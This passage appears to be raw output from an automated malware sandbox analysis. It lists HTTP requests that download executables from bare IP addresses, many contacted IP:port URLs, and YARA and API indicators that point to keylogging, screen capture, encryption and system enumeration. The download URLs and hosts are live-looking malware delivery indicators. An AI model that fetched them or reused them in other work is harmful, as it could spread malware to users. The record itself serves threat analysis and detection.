Keep-Alive GET /docx.exe HTTP/1.1 Host: 139.199.157.76:8000 Connection: Keep-Alive GET /check_latest_tl.php?optime=0 HTTP/1.1 Accept: */* Content-Type: application/x-www-form-urlencoded User-Agent: Setup Factory 10.0 Host: dl2.tlauncher.org Connection: Keep-Alive Cache-Control: no-cache GET /window.exe HTTP/1.1 GET /windows.exe HTTP/1.1 Host: 139.199.157.76:8000 Connection: Keep-Alive GET /meitu.exe HTTP/1.1 Host: 139.199.157.76:8000 Connection: Keep-Alive GET /d/server.exe HTTP/1.1 Host: 185.208.159.182 Connection: Keep-Alive GET /files/7782139129/GL0ygTD.exe HTTP/1.1 Host: 178.16.54.200 Connection: Keep-Alive GET /files/8434554557/06bK6nU.exe HTTP/1.1 GET /dva.exe HTTP/1.1 Host: 62.60.226.16:5553 Connection: Keep-Alive GET /x.exe HTTP/1.1 Host: 172.245.27.131 Connection: Keep-Alive 7d:T1433,Found ip/domain with port number "http://182.124.252.171:33043"Found ip/domain with port number "http://182.126.127.164:51808"Found ip/domain with port number "http://182.126.87.62:50800"Found ip/domain with port number "http://110.39.226.65:55366"Found ip/domain with port number "http://110.37.113.135:39268"Found ip/domain with port number "http://42.228.37.175:48217"Found ip/domain with port number "http://123.129.132.101:36353"Found ip/domain with port number "http://61.137.133.50:44440"Found ip/domain with port number "http://110.39.227.195:36251"Found ip/domain with port number "http://42.231.93.149:42812"Found ip/domain with port number "http://123.188.69.119:52775"Found ip/domain with port number "http://115.56.148.166:4686"Found ip/domain with port number "http://211.169.231.210:7070"Found ip/domain with port number "http://117.28.108.23:8001"Found ip/domain with port number "http://187.213.28.89:8081"Found ip/domain with port number "http://211.169.231.210:707"Found ip/domain with port number "http://115.58.148.86:45813"Found ip/domain with port number "http://190.103.84.30:10819"Found ip/domain with port number "http://83.233.83.199:59946"Found ip/domain with port number "http://42.55.21.214:42609"Found ip/domain with port number "http://42.57.39.123:55666"Found ip/domain with port number "http://177.42.75.238:41799"Found ip/domain with port number "http://190.166.169.89:81"Found ip/domain with port number "http://79.45.141.77:8090"Found ip/domain with port number "http://223.166.85.198:57813"Found ip/domain with port number "http://177.70.102.232:8090"Found ip/domain with port number "http://111.59.254.165:8084"Found ip/domain with port number "http://201.16.194.227:2550"Found ip/domain with port number "http://47.216.198.156:8081"Found ip/domain with port number "http://177.70.102.228:8070"Found ip/domain with port number "http://202.107.235.202:8008"Found ip/domain with port number "http://80.11.25.16:41800"Found ip/domain with port number "http://62.228.75.114:8080"Found ip/domain with port number "http://202.107.235.202:8088"Found ip/domain with port number "http://202.107.235.202:80"Found ip/domain with port number "http://222.239.87.50:8020"Found ip/domain with port number "http://81.230.40.198:52949"Found ip/domain with port number "http://2.54.98.68:802"Found ip/domain with port number "http://78.70.203.243:44832"Found ip/domain with port number "http://85.26.210.212:41505"Found ip/domain with port number "http://122.156.143.62:24916"Found ip/domain with port number "http://152.136.139.105:6666"Found ip/domain with port number "http://37.112.166.114:54341"Found ip/domain with port number "http://190.7.149.242:15070"Found ip/domain with port number "http://69.125.156.5:2006"Found ip/domain with port number "http://119.91.238.101:8888"Found ip/domain with port number "http://1.15.230.7:8888"Found ip/domain with port number "http://43.140.214.197:8888"Found ip/domain with port number "http://161.132.50.128:88"Found ip/domain with port number "http://116.171.106.3:3435"Found ip/domain with port number "http://43.226.39.44:5988"Found ip/domain with port number "http://36.88.6.203:8907"Found ip/domain with port number "http://202.152.45.93:37048"Found ip/domain with port number "http://212.70.156.70:43412"Found ip/domain with port number "http://45.115.252.130:19579"Found ip/domain with port number "http://178.136.225.254:9840"Found ip/domain with port number "http://186.138.107.5:14491"Found ip/domain with port number "http://197.245.244.254:37898"Found ip/domain with port number "http://197.232.133.112:63311"Found ip/domain with port number "http://81.12.157.98:29167"Found ip/domain with port number "http://185.136.193.107:11053"Found ip/domain with port number "http://117.20.27.25:21414"Found ip/domain with port number "http://103.174.191.145:88"Found ip/domain with port number "http://77.238.209.82:26331"Found ip/domain with port number "http://36.88.109.138:25236"Found ip/domain with port number "http://64.140.105.9:44920"Found ip/domain with port number "http://81.16.249.96:46703"Found ip/domain with port number "http://83.166.197.212:34117"Found ip/domain with port number "http://103.173.173.98:58982"Found ip/domain with port number "http://190.145.205.178:6360"Found ip/domain with port number "http://178.176.204.250:83"Found ip/domain with port number "http://212.93.103.10:51080"Found ip/domain with port number "http://112.4.110.22:37782"Found ip/domain with port number "http://193.160.10.213:59786"Found ip/domain with port number "http://24.234.159.5:1112"Found ip/domain with port number "http://223.108.58.13:37782"Found ip/domain with port number "http://165.73.108.6:8021"Found ip/domain with port number "http://165.73.108.6:8023"Found ip/domain with port number "http://103.16.75.50:61962"Found ip/domain with port number "http://178.34.177.42:41638"Found ip/domain with port number "http://46.52.164.170:29443"Found ip/domain with port number "http://188.44.110.215:60566"Found ip/domain with port number "http://182.253.60.198:46757"Found ip/domain with port number "http://46.214.31.179:25098"Found ip/domain with port number "http://193.228.134.161:62706"7e:T5f4,YARA signature to detect high entropy file file "06bK6nU.exe" YARA signature to detect high entropy file file "cooking.exe" YARA signature to detect high entropy file file "multifunctionalbackup294.exe" YARA signature to detect high entropy file file "315336607.msi" YARA signature to detect high entropy file file "fz0oKy4.exe" YARA signature to detect high entropy file file "0rXld4E.exe" YARA signature to detect high entropy file file "GL0ygTD.exe" YARA signature to detect high entropy file file "MSTeams.exe" YARA signature to detect high entropy file file "fzCgCtE.exe" YARA signature to detect high entropy file file "ZAjTMWu.exe" YARA signature to detect high entropy file file "irsetup.exe" YARA signature to detect high entropy file process "00000000-00005036" YARA signature to detect high entropy file file "BrowserInstaller.exe" YARA signature to detect high entropy file file "tmpFB41.tmp" YARA signature to detect high entropy file file "TLauncher-Installer-1.9.4.exe" YARA signature to detect high entropy file file "lJ5IwxN.exe" YARA signature to detect high entropy file file "chrome_inject.exe" YARA signature to detect high entropy file process "00000000-00008516" YARA signature to detect high entropy file file "8RsL970.exe" YARA signature to detect high entropy file file "crypted_guardfile.exe" YARA signature to detect high entropy file file "Setup.exe" YARA signature to detect high entropy file file "C8c1bbe.exe" YARA signature to detect high entropy file file "random.exe"7f:T686,YARA signature to detect medium entropy file file "window.exe" YARA signature to detect medium entropy file file "rabert.exe" YARA signature to detect medium entropy file process "00000000-00001088" YARA signature to detect medium entropy file file "is-4KKMM.tmp" YARA signature to detect medium entropy file file "Client-built.exe" YARA signature to detect medium entropy file file "info.dll" YARA signature to detect medium entropy file file "Uninstall.exe" YARA signature to detect medium entropy file file "lua5.3.dll" YARA signature to detect medium entropy file file "is-0QRHU.tmp" YARA signature to detect medium entropy file process "00000000-00005036" YARA signature to detect medium entropy file file "is-VDH2G.tmp" YARA signature to detect medium entropy file file "C8c1bbe.tmp" YARA signature to detect medium entropy file file "GL0ygTD.tmp" YARA signature to detect medium entropy file file "syswinprdrvc.exe" YARA signature to detect medium entropy file file "cmdres.DLL" YARA signature to detect medium entropy file file "windows.exe" YARA signature to detect medium entropy file file "is-GGR2F.tmp" YARA signature to detect medium entropy file file "dva.exe" YARA signature to detect medium entropy file process "00000000-00008220" YARA signature to detect medium entropy file process "00000000-00000968" YARA signature to detect medium entropy file file "HCBSXXl.exe" YARA signature to detect medium entropy file file "TransmitteD.exe" YARA signature to detect medium entropy file file "KI6Doqb.exe" YARA signature to detect medium entropy file file "is-GC82H.tmp" YARA signature to detect medium entropy file file "is-2JO42.tmp"80:T611,YARA signature for RC4 encryption matched on file "window.exe" YARA signature for RC4 encryption matched on file "syschnu.exe" YARA signature for RC4 encryption matched on file "_iscrypt.dll" YARA signature for RC4 encryption matched on process "00000000-00005840" YARA signature for RC4 encryption matched on file "rabert.exe" YARA signature for RC4 encryption matched on process "00000000-00001088" YARA signature for RC4 encryption matched on file "315336607.msi" YARA signature for RC4 encryption matched on file "sys.exe" YARA signature for RC4 encryption matched on file "is-4KKMM.tmp" YARA signature for RC4 encryption matched on file "fz0oKy4.exe" YARA signature for RC4 encryption matched on file "info.dll" YARA signature for RC4 encryption matched on file "GL0ygTD.exe" YARA signature for RC4 encryption matched on file "Uninstall.exe" YARA signature for RC4 encryption matched on file "lua5.3.dll" YARA signature for RC4 encryption matched on process "00000000-00008492" YARA signature for RC4 encryption matched on file "MSTeams.exe" YARA signature for RC4 encryption matched on file "is-VDH2G.tmp" YARA signature for RC4 encryption matched on file "C8c1bbe.tmp" YARA signature for RC4 encryption matched on process "00000000-00004944" YARA signature for RC4 encryption matched on file "GL0ygTD.tmp" YARA signature for RC4 encryption matched on file "BrowserInstaller.exe" YARA signature for RC4 encryption matched on file "windows.exe" YARA signature for RC4 encryption matched on file "TLauncher-Installer-1.9.4.exe"81:T623,YARA signature matched on R0R instruction used in file "06bK6nU.exe" YARA signature matched on R0R instruction used in file "window.exe" YARA signature matched on R0R instruction used in file "syschnu.exe" YARA signature matched on R0R instruction used in file "cooking.exe" YARA signature matched on R0R instruction used in file "_setup64.tmp" YARA signature matched on R0R instruction used in process "00000000-00005840" YARA signature matched on R0R instruction used in file "xeno.exe" YARA signature matched on R0R instruction used in file "rabert.exe" YARA signature matched on R0R instruction used in file "multifunctionalbackup294.exe" YARA signature matched on R0R instruction used in file "sys.exe" YARA signature matched on R0R instruction used in file "is-4KKMM.tmp" YARA signature matched on R0R instruction used in file "fz0oKy4.exe" YARA signature matched on R0R instruction used in file "Client-built.exe" YARA signature matched on R0R instruction used in file "0rXld4E.exe" YARA signature matched on R0R instruction used in file "info.dll" YARA signature matched on R0R instruction used in file "GL0ygTD.exe" YARA signature matched on R0R instruction used in file "Uninstall.exe" YARA signature matched on R0R instruction used in file "lua5.3.dll" YARA signature matched on R0R instruction used in process "00000000-00008492" YARA signature matched on R0R instruction used in file "is-0QRHU.tmp" YARA signature matched on R0R instruction used in file "MSTeams.exe" YARA signature matched on R0R instruction used in file "is-VDH2G.tmp"82:T6ca,Found string "9ncalrpc:[epmapper,Security=Impersonation Dynamic False]" (Indicator: "ncalrpc"; Source: "00000000-00001088.00000000.271453.01630000.00000004.mdmp") Found string "767a036-0d22-48aa-ba69-b619480f38cb@ncalrpc:" (Indicator: "ncalrpc"; Source: "00000000-00001088.00000000.271453.01630000.00000004.mdmp") Found string "+ncalrpc:[OLE784DF2305D75E728A454262C4A6A]" (Indicator: "ncalrpc"; Source: "00000000-00001088.00000000.271453.01630000.00000004.mdmp") Found string "+ncalrpc:[OLE7B2937C43042D25D672EC791A38F]" (Indicator: "ncalrpc"; Source: "00000000-00001088.00000000.271453.01630000.00000004.mdmp") Found string "F+ncalrpc:[OLE21650AFC1D0035C725E96CE320F2]" (Indicator: "ncalrpc"; Source: "00000000-00001088.00000000.271453.01630000.00000004.mdmp") Found string "+ncalrpc:[OLE21650AFC1D0035C725E96CE320F2]" (Indicator: "ncalrpc"; Source: "00000000-00001088.00000000.271453.01630000.00000004.mdmp") Found string "F+ncalrpc:[OLE21650AFC1D0035C725E96CE320F2]" (Indicator: "ncalrpc"; Source: "00000000-00002000.00000001.271022.01430000.00000004.mdmp, 00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp") Found string "+ncalrpc:[OLE77AA20B5E001FE07BE30BD55C431]" (Indicator: "ncalrpc"; Source: "00000000-00002000.00000001.271022.01430000.00000004.mdmp") Found string "+ncalrpc:[OLE21650AFC1D0035C725E96CE320F2]" (Indicator: "ncalrpc"; Source: "00000000-00002000.00000001.271022.01430000.00000004.mdmp") Found string "9ncalrpc:[epmapper,Security=Impersonation Dynamic False]" (Indicator: "ncalrpc"; Source: "00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp") Found string "+ncalrpc:[OLE784DF2305D75E728A454262C4A6A]" (Indicator: "ncalrpc"; Source: "00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp")83:T437,Observed import api "GetCommandLineA" which can "retrieve the command-line string for the current process" [Source: GL0ygTD.exe] Observed import api "GetCommandLineA" which can "retrieve the command-line string for the current process" [Source: BrowserInstaller.exe] Observed import api "GetCommandLineA" which can "retrieve the command-line string for the current process" [Source: rabert.exe] Observed import api "GetCommandLineA" which can "retrieve the command-line string for the current process" [Source: multifunctionalbackup294.exe] Observed import api "GetCommandLineA" which can "retrieve the command-line string for the current process" [Source: random.exe] Observed import api "GetCommandLineA" which can "retrieve the command-line string for the current process" [Source: chrome_inject.exe] Observed import api "GetCommandLineA" which can "retrieve the command-line string for the current process" [Source: crypted_guardfile.exe] Observed import api "GetCommandLineA" which can "retrieve the command-line string for the current process" [Source: vulkan-1.dll]84:T8c7,Found registry query API: "RegOpenKeyExA" in file "New Text Document mod.exe" Found registry query API: "RegQueryValueExA" in file "New Text Document mod.exe" Found registry query API: "RegOpenKeyTransactedW" in file "00000000-00001088.00000000.271453.00D51000.00000020.mdmp" Found registry query API: "RegEnumKeyExW" in file "New Text Document mod.exe" Found registry query API: "RegQueryValueExW" in file "New Text Document mod.exe" Found registry query API: "RegOpenKeyExW" in file "New Text Document mod.exe" Found registry query API: "RegQueryInfoKeyA" in file "New Text Document mod.exe" Found registry query API: "RegQueryValueW" in file "New Text Document mod.exe" Found registry query API: "RegOpenKeyW" in file "New Text Document mod.exe" Found registry query API: "RegEnumKeyW" in file "New Text Document mod.exe" Found registry query API: "RegEnumKeyExA" in file "New Text Document mod.exe" Found registry query API: "RegEnumValueA" in file "New Text Document mod.exe" Found registry query API: "RegGetValueW" in file "New Text Document mod.exe" Found registry query API: "RegQueryValueExA" in "00000000-00000968.00000000.272733.00428000.00000004.mdmp" Found registry query API: "RegOpenKeyExA" in "00000000-00000968.00000000.272733.00428000.00000004.mdmp" Found registry query API: "RegQueryInfoKeyA" in "00000000-00000968.00000000.272733.00428000.00000004.mdmp" Found registry query API: "RegEnumKeyExA" in "00000000-00000968.00000000.272733.00428000.00000004.mdmp" Found registry query API: "RegOpenKeyTransactedW" in "00000000-00001088.00000000.271453.00E64000.00000002.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00001088.00000000.271453.00E64000.00000002.mdmp" Found registry query API: "RegEnumKeyExW" in "00000000-00001088.00000000.271453.00E64000.00000002.mdmp" Found registry query API: "RegQueryValueExW" in "00000000-00001088.00000000.271453.00E64000.00000002.mdmp" Found registry query API: "RegOpenKeyExA" in "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp" Found registry query API: "RegQueryInfoKeyA" in "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp" Found registry query API: "RegQueryValueExA" in "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp"85:T6b0,Found reference to API "GetKeyboardState" (Indicator: "GetKeyboardState"; File: "New Text Document mod.exe") Found reference to API "GetKeyState" (Indicator: "GetKeyState"; File: "New Text Document mod.exe") Found reference to API "MapVirtualKeyExW" (Indicator: "MapVirtualKey"; File: "New Text Document mod.exe") Found reference to API "MapVirtualKeyW" (Indicator: "MapVirtualKey"; File: "New Text Document mod.exe") Found reference to API "GetAsyncKeyState" (Indicator: "GetAsyncKeyState"; File: "New Text Document mod.exe") Found reference to API "GetKeyNameTextW" (Indicator: "GetKeyNameText"; File: "New Text Document mod.exe") Found reference to API "MapVirtualKeyA" (Indicator: "MapVirtualKey"; File: "New Text Document mod.exe") Found reference to API "GetKeyState" (Indicator: "GetKeyState"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "GetKeyState" (Indicator: "GetKeyState"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "GetAsyncKeyState" (Indicator: "GetAsyncKeyState"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "MapVirtualKeyW" (Indicator: "MapVirtualKey"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "GetKeyboardState" (Indicator: "GetKeyboardState"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "GetKeyNameTextW" (Indicator: "GetKeyNameText"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "MapVirtualKeyExW" (Indicator: "MapVirtualKey"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp")86:T904,"NewTextDocumentmod.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\* (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "FindNextFileW" with parameter 3b9003e4f27d92e40668f0efad11e022 (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\New Text Doea2864ed#\* (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\* (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "FindNextFileW" with parameter ce0fd4f5b50baa17e7b80e4ee874ad11 (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\* (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "FindNextFileW" with parameter 46c2f46666e40896049aed7e4ed25573 (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\* (UID: 00000000-00002000)87:T186a,Found string "System.Security.Cryptography.X509Certificates" (Indicator: "System.Security.Cryptography"; File: "New Text Document mod.exe") file/memory contains long string with (Indicator: "base64"; File: "x.exe") file/memory contains long string with (Indicator: "FromBase64String"; File: "x.exe") file/memory contains long string with (Indicator: "ToBase64String"; File: "x.exe") file/memory contains long string with (Indicator: "rijndael"; File: "x.exe") file/memory contains long string with (Indicator: "Rijndaelmanaged"; File: "x.exe") file/memory contains long string with (Indicator: "base64"; File: "xeno.exe") file/memory contains long string with (Indicator: "createdecryptor"; File: "xeno.exe") file/memory contains long string with (Indicator: "createencryptor"; File: "xeno.exe") file/memory contains long string with (Indicator: "cryptostream"; File: "xeno.exe") file/memory contains long string with (Indicator: "cryptostreammode"; File: "xeno.exe") file/memory contains long string with (Indicator: "FromBase64String"; File: "xeno.exe") file/memory contains long string with (Indicator: "md5cryptoserviceprovider"; File: "xeno.exe") file/memory contains long string with (Indicator: "System.Security.Cryptography"; File: "xeno.exe") file/memory contains long string with (Indicator: "aes"; File: "xtest.exe") file/memory contains long string with (Indicator: "base64"; File: "xtest.exe") file/memory contains long string with (Indicator: "createdecryptor"; File: "xtest.exe") file/memory contains long string with (Indicator: "createencryptor"; File: "xtest.exe") file/memory contains long string with (Indicator: "FromBase64String"; File: "xtest.exe") file/memory contains long string with (Indicator: "GzipStream"; File: "xtest.exe") file/memory contains long string with (Indicator: "ToBase64String"; File: "xtest.exe") file/memory contains long string with (Indicator: "md5cryptoserviceprovider"; File: "xtest.exe") file/memory contains long string with (Indicator: "rijndael"; File: "xtest.exe") file/memory contains long string with (Indicator: "Rijndaelmanaged"; File: "xtest.exe") file/memory contains long string with (Indicator: "System.Security.Cryptography"; File: "xtest.exe") file/memory contains long string with (Indicator: "aes"; File: "licBR.html") file/memory contains long string with (Indicator: "aes"; File: "Menu5Text1BR.html") Found string "Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found string "SymGetModuleBase64" (Indicator: "base64"; File: "New Text Document mod.exe") Found string "ystem.OfflineFiles.Encrypted" (Indicator: ".encrypt"; Source: "00000000-00001088.00000000.271453.039B0000.00000002.mdmp") Found string "ystem.Security.EncryptionOwners" (Indicator: ".encrypt"; Source: "00000000-00001088.00000000.271453.039B0000.00000002.mdmp") Found string "ystem.Security.EncryptionOwnersDisplay" (Indicator: ".encrypt"; Source: "00000000-00001088.00000000.271453.039B0000.00000002.mdmp") Found string "ystem.ZipFolder.Encrypted" (Indicator: ".encrypt"; Source: "00000000-00001088.00000000.271453.039B0000.00000002.mdmp") Found string "System.Security.EncryptionOwnersDisplay" (Indicator: ".encrypt"; Source: "00000000-00001088.00000000.271453.03C10000.00000002.mdmp") Found string "System.Security.EncryptionOwners" (Indicator: ".encrypt"; Source: "00000000-00001088.00000000.271453.03C10000.00000002.mdmp") Found string "System.OfflineFiles.Encrypted" (Indicator: ".encrypt"; Source: "00000000-00001088.00000000.271453.03C10000.00000002.mdmp") Found string "System.ZipFolder.Encrypted" (Indicator: ".encrypt"; Source: "00000000-00001088.00000000.271453.03C10000.00000002.mdmp") Found string "icrosoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00002000.00000000.269103.01430000.00000004.mdmp, 00000000-00002000.00000001.271022.01430000.00000004.mdmp") Found string "OFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00002000.00000000.269103.01430000.00000004.mdmp") Found string "Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00002000.00000000.269103.01430000.00000004.mdmp, 00000000-00002000.00000000.269103.03650000.00000004.mdmp, 00000000-00002000.00000001.271022.01430000.00000004.mdmp, 00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp") Found string "Switch.System.Security.Cryptography.DoNotAddrOfCspParentWindowHandle" (Indicator: "System.Security.Cryptography"; Source: "00000000-00002000.00000000.269103.03650000.00000004.mdmp") Found string "Switch.System.Security.Cryptography.UseLegacyFipsThrow" (Indicator: "System.Security.Cryptography"; Source: "00000000-00002000.00000000.269103.03650000.00000004.mdmp") Found string "System.Security.Cryptography.RandomNumberGenerator" (Indicator: "System.Security.Cryptography"; Source: "00000000-00002000.00000000.269103.03650000.00000004.mdmp") Found string "Uses RsaCryptoServiceProvider to encrypt and decrypt" (Indicator: "RsaCryptoServiceProvider"; Source: "00000000-00002000.00000000.269103.03650000.00000004.mdmp") Found string "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "aes"; Source: "00000000-00002000.00000000.269103.03650000.00000004.mdmp") Found string "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "aescryptoserviceprovider"; Source: "00000000-00002000.00000000.269103.03650000.00000004.mdmp") Found string "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00002000.00000000.269103.03650000.00000004.mdmp") Found string "System.Security.Cryptography.RSACng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00002000.00000000.269103.03650000.00000004.mdmp")88:Tbe8,Found reference to API "CreateDCW" (Indicator: "CreateDC"; File: "New Text Document mod.exe") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; File: "New Text Document mod.exe") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; File: "New Text Document mod.exe") Found reference to API "BitBlt" (Indicator: "BitBlt"; File: "New Text Document mod.exe") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; File: "New Text Document mod.exe") Found reference to API "GetWindowDC" (Indicator: "GetWindowDC"; File: "New Text Document mod.exe") Found reference to API "GetDC" (Indicator: "GetDC"; File: "New Text Document mod.exe") Found reference to API "GetDIBits" (Indicator: "GetDIBits"; File: "New Text Document mod.exe") Found reference to API "GetDCEx" (Indicator: "GetDC"; File: "New Text Document mod.exe") Found reference to API "GetDIBits" (Indicator: "GetDIBits"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "BitBlt" (Indicator: "BitBlt"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "GetWindowDC" (Indicator: "GetWindowDC"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "GetDCEx" (Indicator: "GetDC"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "GetWindowDC" (Indicator: "GetWindowDC"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "CreateDCW" (Indicator: "CreateDC"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "BitBlt" (Indicator: "BitBlt"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp")89:T4b7,Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; File: "New Text Document mod.exe") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; File: "New Text Document mod.exe") Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; File: "New Text Document mod.exe") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; File: "New Text Document mod.exe") Found reference to API "FindFirstFileExW" (Indicator: "FindFirstFile"; File: "New Text Document mod.exe") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; Source: "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; Source: "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp")8a:Tcf7,Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "New Text Document mod.exe") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "New Text Document mod.exe") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "New Text Document mod.exe") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "New Text Document mod.exe") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "New Text Document mod.exe") Found reference to API "GetCurrentProcessorNumber" (Indicator: "GetCurrentProcess"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "Thread32First" (Indicator: "Thread32First"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "Thread32Next" (Indicator: "Thread32Next"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "GetEnvironmentStrings" (Indicator: "GetEnvironmentStrings"; File: "New Text Document mod.exe") Found reference to API "GetModuleHandleExA" (Indicator: "GetModuleHandle"; File: "New Text Document mod.exe") Found reference to API "Process32First" (Indicator: "Process32First"; File: "00000000-00000968.00000000.272733.00401000.00000020.mdmp") Found reference to API "Process32Next" (Indicator: "Process32Next"; File: "00000000-00000968.00000000.272733.00401000.00000020.mdmp") Found reference to API "Process32FirstW" (Indicator: "Process32First"; File: "00000000-00000968.00000000.272733.00401000.00000020.mdmp") Found reference to API "Process32NextW" (Indicator: "Process32Next"; File: "00000000-00000968.00000000.272733.00401000.00000020.mdmp") Found reference to API "Module32First" (Indicator: 